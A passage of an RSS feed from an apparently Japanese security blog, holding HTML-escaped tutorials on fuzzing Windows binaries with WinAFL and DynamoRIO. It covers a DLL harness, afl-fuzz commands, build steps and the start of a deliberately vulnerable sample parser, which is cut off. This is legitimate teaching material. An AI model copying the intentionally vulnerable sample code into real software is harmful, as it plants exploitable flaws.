    Crash &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;INSPECT&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;GetProcAddress&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;hModule&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; FuncName&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Crash &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token function&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;%s: GetProcAddress failed.&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; FuncName&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token function&quot;&gt;FreeLibrary&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;hModule&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;fuzz_crash&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;charToWChar&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;argv&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;line-numbers-rows&quot; style=&quot;white-space: normal; width: auto; left: 0;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;ポイントは以下3点です。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ポイント1.&lt;/strong&gt; &lt;code class=&quot;language-text&quot;&gt;char DllName[] = &quot;Crash104.dll&quot;;&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;コンパイル時に指定したファイル名から名前を変更しないこと&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;DLLファイル名をコンパイル時から変更してしまっているとWinAFLによるFuzzing実行時に下記のエラーが発生します。&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre style=&quot;counter-reset: linenumber NaN&quot; class=&quot;language-text line-numbers&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;[-] PROGRAM ABORT : Test case &apos;id_000000&apos; results in a timeout
         Location : perform_dry_run(), C:\winafl\afl-fuzz.c:2972&lt;/code&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;line-numbers-rows&quot; style=&quot;white-space: normal; width: auto; left: 0;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;恐らく理由は、WinAFLは&lt;a href=&quot;https://docs.microsoft.com/ja-jp/windows/win32/debug/pe-format?redirectedfrom=MSDN#the-edata-section-image-only&quot;&gt;.edataセクション&lt;/a&gt;のName RVAに記載されたDLL名によってDLLをロードしているためだと予測しています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ポイント2.&lt;/strong&gt; &lt;code class=&quot;language-text&quot;&gt;fuzz_crash()&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Target関数を呼び出すために関数を定義すること&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;ポイント3.&lt;/strong&gt; &lt;code class=&quot;language-text&quot;&gt;extern __declspec(dllexport)&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ポイント2で定義した関数を.edataセクションに格納することでExport関数とすること&lt;/li&gt;
&lt;/ul&gt;
&lt;br&gt;
&lt;h2 id=&quot;ファジング開始&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#%E3%83%95%E3%82%A1%E3%82%B8%E3%83%B3%E3%82%B0%E9%96%8B%E5%A7%8B&quot; aria-label=&quot;ファジング開始 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;ファジング開始&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;afl-fuzz.exe実行時に&lt;code class=&quot;language-text&quot;&gt;-target_method fuzz_crash&lt;/code&gt;の様に、Fuzzingループ対象の関数として指定できるようになります。&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre style=&quot;counter-reset: linenumber NaN&quot; class=&quot;language-bash line-numbers&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;$ afl-fuzz.exe &lt;span class=&quot;token parameter variable&quot;&gt;-i&lt;/span&gt; testcases &lt;span class=&quot;token parameter variable&quot;&gt;-o&lt;/span&gt; results &lt;span class=&quot;token parameter variable&quot;&gt;-D&lt;/span&gt; c:&lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;dynamorio&lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;build&lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;bin32 &lt;span class=&quot;token parameter variable&quot;&gt;-t&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;10000&lt;/span&gt; -- &lt;span class=&quot;token parameter variable&quot;&gt;-coverage_module&lt;/span&gt; Crash104.dll &lt;span class=&quot;token parameter variable&quot;&gt;-fuzz_iterations&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;5000&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-target_module&lt;/span&gt; harness_crash.exe &lt;span class=&quot;token parameter variable&quot;&gt;-target_method&lt;/span&gt; fuzz_crash &lt;span class=&quot;token parameter variable&quot;&gt;-nargs&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; -- .&lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;harness_crash.exe @@&lt;/code&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;line-numbers-rows&quot; style=&quot;white-space: normal; width: auto; left: 0;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;2日ほどFuzzingを走らせた後のcmdプロンプトのStatus画面を以下に示します。
uniq crashes: 79 の部分にて、Crashが発生するinputファイルが79個見つかっていることを示しています。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200429_harness/status.png&quot; alt=&quot;Status&quot; title=&quot;Statusの図&quot;&gt;&lt;/p&gt;
&lt;br&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;-o&lt;/code&gt;で指定したフォルダであるresults内のcrashesにCrashを発生させるinputファイルが保存されています。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200429_harness/crashes.png&quot; alt=&quot;Crashes&quot; title=&quot;Crashesファイルの図&quot;&gt;&lt;/p&gt;
&lt;br&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/SkyLined/BugId&quot;&gt;BugId&lt;/a&gt;を使えばCrashの種類を確認することもできます。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200429_harness/bugid_report.png&quot; alt=&quot;BugId report&quot; title=&quot;BugIdのレポートの図&quot;&gt;&lt;/p&gt;
&lt;br&gt;</content:encoded></item><item><title><![CDATA[WinAFLで始めるGreybox fuzzing]]></title><description><![CDATA[WinAFLのビルド方法から、WinAFLでサンプルバイナリをクラッシュさせる入力を探す方法を紹介していきます。]]></description><link>https://binarygenes.com/posts/2020-04-11-greybox-fuzzing-with-winafl</link><guid isPermaLink="false">https://binarygenes.com/posts/2020-04-11-greybox-fuzzing-with-winafl</guid><pubDate>Sat, 11 Apr 2020 15:02:01 GMT</pubDate><content:encoded>&lt;h2 id=&quot;winaflとは&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#winafl%E3%81%A8%E3%81%AF&quot; aria-label=&quot;winaflとは permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;WinAFLとは&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/googleprojectzero/winafl&quot;&gt;WinAFL&lt;/a&gt;は、AFL (American Fuzzy Lop)のWindows向けに開発されたFolkであり、Greybox fuzzerの一種です。Greybox fuzzerはCoverage-guided fuzzerとも呼ばれます。WinAFLとDynamoRIO等のDBIを合わせて利用することで、カバレッジを確認しながら新しい実行パスを探索することができます。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200411_winafl/winafl.png&quot; alt=&quot;WinAFLの画面&quot; title=&quot;WinAFLの画面&quot;&gt;&lt;/p&gt;
&lt;br&gt;
&lt;h2 id=&quot;winaflを使ってみる&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#winafl%E3%82%92%E4%BD%BF%E3%81%A3%E3%81%A6%E3%81%BF%E3%82%8B&quot; aria-label=&quot;winaflを使ってみる permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;WinAFLを使ってみる&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;以下の手順に沿ってWinAFLをソースからビルドしていきます。ここでは32-bitと64-bitどちらも合わせてビルドします。&lt;/p&gt;
&lt;h3 id=&quot;u1-dynamorioをビルドu&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#u1-dynamorio%E3%82%92%E3%83%93%E3%83%AB%E3%83%89u&quot; aria-label=&quot;u1 dynamorioをビルドu permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;u&gt;1. DynamoRIOをビルド&lt;/u&gt;&lt;/h3&gt;
&lt;p&gt;詳細な手順は&lt;a href=&quot;https://binarygenes.com/posts/2020-04-07-dynamorio%E3%81%A7%E5%A7%8B%E3%82%81%E3%82%8Bdbi&quot;&gt;DynamoRIOで始めるDBI&lt;/a&gt;にて紹介しています。&lt;/p&gt;
&lt;br&gt;
&lt;h3 id=&quot;u2-winafl-32-bit-をビルドu&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#u2-winafl-32-bit-%E3%82%92%E3%83%93%E3%83%AB%E3%83%89u&quot; aria-label=&quot;u2 winafl 32 bit をビルドu permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;u&gt;2. WinAFL (32-bit) をビルド&lt;/u&gt;&lt;/h3&gt;
&lt;p&gt;スタートメニュー &gt; すべてのアプリケーション &gt; Visual Studio 2017 &gt; x86 Native Tools Command Promptを開きます。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200407_dynamorio/x86_native_tools.png&quot; alt=&quot;x86 Native Tools Command Prompt画面&quot; title=&quot;x86 Native Tools Command Prompt画面&quot;&gt;&lt;/p&gt;
&lt;br&gt;
&lt;p&gt;x86 Native Tools Command Prompt上で以下のコマンドを実行します。&lt;/p&gt;
&lt;div class=&quot;gatsby-code-title&quot;&gt;WinAFL(32-bit)ビルドコマンド&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre style=&quot;counter-reset: linenumber NaN&quot; class=&quot;language-bash line-numbers&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;$ &lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; C:&lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
$ &lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; clone https://github.com/googleprojectzero/winafl
$ &lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; winafl &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;mkdir&lt;/span&gt; build32 &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; build32
$ cmake -G&lt;span class=&quot;token string&quot;&gt;&quot;Visual Studio 15 2017&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-DDynamoRIO_DIR&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;path&lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;to&lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;DynamoRIO&lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;cmake
$ cmake &lt;span class=&quot;token parameter variable&quot;&gt;--build&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--config&lt;/span&gt; Release&lt;/code&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;line-numbers-rows&quot; style=&quot;white-space: normal; width: auto; left: 0;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;32-bit WinAFLのビルドが完了しました。続いて64-bit WinAFLをビルドします。&lt;/p&gt;
&lt;br&gt;
&lt;h3 id=&quot;u3-winafl-64-bit-のビルドu&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#u3-winafl-64-bit-%E3%81%AE%E3%83%93%E3%83%AB%E3%83%89u&quot; aria-label=&quot;u3 winafl 64 bit のビルドu permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;u&gt;3. WinAFL (64-bit) のビルド&lt;/u&gt;&lt;/h3&gt;
&lt;p&gt;スタートメニュー &gt; すべてのアプリケーション &gt; Visual Studio 2017 &gt; x64 Native Tools Command Promptを開きます。&lt;/p&gt;
&lt;br&gt;
&lt;p&gt;x64 Native Tools Command Prompt上で以下のコマンドを実行します。&lt;/p&gt;
&lt;div class=&quot;gatsby-code-title&quot;&gt;WinAFL(64-bit)ビルドコマンド&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre style=&quot;counter-reset: linenumber NaN&quot; class=&quot;language-bash line-numbers&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;$ &lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; C:&lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;winafl &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;mkdir&lt;/span&gt; build64 &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; build64
$ cmake -G&lt;span class=&quot;token string&quot;&gt;&quot;Visual Studio 15 2017 Win64&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-DDynamoRIO_DIR&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;path&lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;to&lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;DynamoRIO&lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;cmake
$ cmake &lt;span class=&quot;token parameter variable&quot;&gt;--build&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--config&lt;/span&gt; Release&lt;/code&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;line-numbers-rows&quot; style=&quot;white-space: normal; width: auto; left: 0;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;64-bit WinAFLのビルドが完了しました。&lt;/p&gt;
&lt;br&gt;
&lt;h2 id=&quot;winaflを使ってみる-1&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#winafl%E3%82%92%E4%BD%BF%E3%81%A3%E3%81%A6%E3%81%BF%E3%82%8B-1&quot; aria-label=&quot;winaflを使ってみる 1 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;WinAFLを使ってみる&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;今回は、テキストファイルを読み取って動作する脆弱なサンプルバイナリをターゲットとします。&lt;/p&gt;
&lt;h3 id=&quot;u1-ターゲットバイナリを用意u&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#u1-%E3%82%BF%E3%83%BC%E3%82%B2%E3%83%83%E3%83%88%E3%83%90%E3%82%A4%E3%83%8A%E3%83%AA%E3%82%92%E7%94%A8%E6%84%8Fu&quot; aria-label=&quot;u1 ターゲットバイナリを用意u permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;u&gt;1. ターゲットバイナリを用意&lt;/u&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;gcc　-o txt_parser txt_parser.c -m32&lt;/code&gt;で下記ソースコードをコンパイルします。&lt;/p&gt;
&lt;div class=&quot;gatsby-code-title&quot;&gt;txt_parser.c&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;c&quot;&gt;&lt;pre style=&quot;counter-reset: linenumber NaN&quot; class=&quot;language-c line-numbers&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt; &lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;windows.h&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt; &lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;stdio.h&gt;&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;parse_text&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;FILE &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;input&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; FILE &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;output&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    FILE &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;stream&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;buf&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; ch&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
